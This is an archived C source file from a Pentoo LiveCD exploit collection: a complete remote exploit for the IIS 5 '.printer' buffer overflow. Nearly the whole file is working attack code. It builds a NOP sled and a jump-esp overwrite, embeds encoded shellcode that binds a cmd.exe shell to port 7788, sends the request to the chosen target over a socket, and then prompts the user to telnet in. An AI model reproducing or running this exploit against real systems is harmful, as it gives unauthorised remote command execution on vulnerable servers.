home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
webserver
/
iis
/
iisx.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
10KB
|
224 lines
/*********************************************************************************/
/* IIS 5 remote .printer overflow exploit */
/* */
/* by: isno <isno@xfocus.org> */
/* */
/* request: GET http://NOPNOP...EIPJmp/null.printer?Shellcode HTTP/1.0 */
/* |______________| */
/* the shellcode spawns a cmd.exe shell */
/* Usage: iisx <hostname> [iis port] [bind port] [service pack] */
/* hostname -- the host you want to attack */
/* iis port -- the port IIS listened(default is 80) */
/* bind port -- the port you want to connect if succeed(default is 7788) */
/* service pack -- SP remote host installed(0 or 1, default is 0) */
/* example: iisx 127.0.0.1 80 2345 0 */
/*********************************************************************************/
#include <sys/types.h>
#ifndef WIN32
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#else
#pragma comment (lib,"Ws2_32")
#include <windows.h>
#include <winsock.h>
#define close closesocket
#define snprintf _snprintf
#endif
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define NOP 0x43 //inc ebx, instead of 0x90
void usage(char *pgm);
int main(int argc, char *argv[])
{
/* the shellcode searching for KERNEL32.DLL and GetProcAddress */
/* then spawns a cmd.exe shell on port 7788, coded by isno */
unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";
int i, s;
int sptype = 0;
unsigned short int webport = 80;
unsigned short int bindport = 7788;
char request[2048], jmpcode[281], execode[840];
struct hostent *ht;
struct sockaddr_in sin;
#ifdef WIN32
WSADATA WSAData;
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}
#endif
printf("iis5 remote .printer overflow exploit\n");
printf(" by isno <isno@xfocus.org> \n\n");
if(argc < 2 || argc > 5)
{
usage(argv[0]);
}
if((ht = gethostbyname(argv[1])) == 0)
{
printf("Unable to resolve host %s\n",argv[1]);
exit(1);
}
if(argc > 2)
{
webport = atoi(argv[2]);
}
sin.sin_port = htons(webport);
if(argc > 3)
{
bindport = htons(atoi(argv[3]));
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;
}
if(argc > 4)
{
sptype = atoi(argv[4]);
}
for(i = 0; i < 268; i++)
jmpcode[i] = (char)NOP;
if(sptype == 0)
{
//jmp esp overwrite EIP
jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
}
else
{
jmpcode[268] = (char)0x8b;
jmpcode[269] = (char)0x89;
jmpcode[270] = (char)0xe8;
jmpcode[271] = (char)0x77;
}
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;
//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;
for(i = 0; i < 32; i++)
execode[i] = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);
snprintf(request, 2048, "GET http://%s/null.printer?%s HTTP/1.0\r\n\r\n", jmpcode, execode);
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Unable to set up socket\n");
exit(1);
}
if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1)
{
printf("Unable to connect\n");
exit(1);
}
else
printf("Connected.\n");
if(send(s, request, strlen(request), 0) == -1)
{
printf("Unable to send\n");
exit(1);
}
else
{
printf("code sented...\n");
printf("you may telnet %s %s\n", argv[1], argc>3?argv[3]:"7788");
}
#ifdef WIN32
Sleep(1000);
#else
sleep(1);
#endif
close(s);
exit(0);
}
void usage(char *pgm)
{
printf("Usage: %s <hostname> [iis port] [bind port] [service pack]\n", pgm);
printf(" hostname -- the host you want to attack\n");
printf(" iis port -- the port IIS listened(default is 80)\n");
printf(" bind port -- the port you want to connect if succeed(default is 7788)\n");
printf(" service pack -- SP remote host installed(0 or 1, default is 0)\n");
printf("example: %s 127.0.0.1 80 2345 0\n", pgm);
exit(1);
}
/* www.hack.co.za [22 June 2001]*/